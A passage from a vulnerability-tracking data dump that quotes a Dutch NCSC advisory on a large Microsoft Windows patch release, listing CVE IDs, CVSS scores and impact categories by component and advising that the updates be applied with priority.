\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:17.528989Z"}, {"uuid": "61d768b9-559a-4d09-a778-fa389efa18ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54122", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              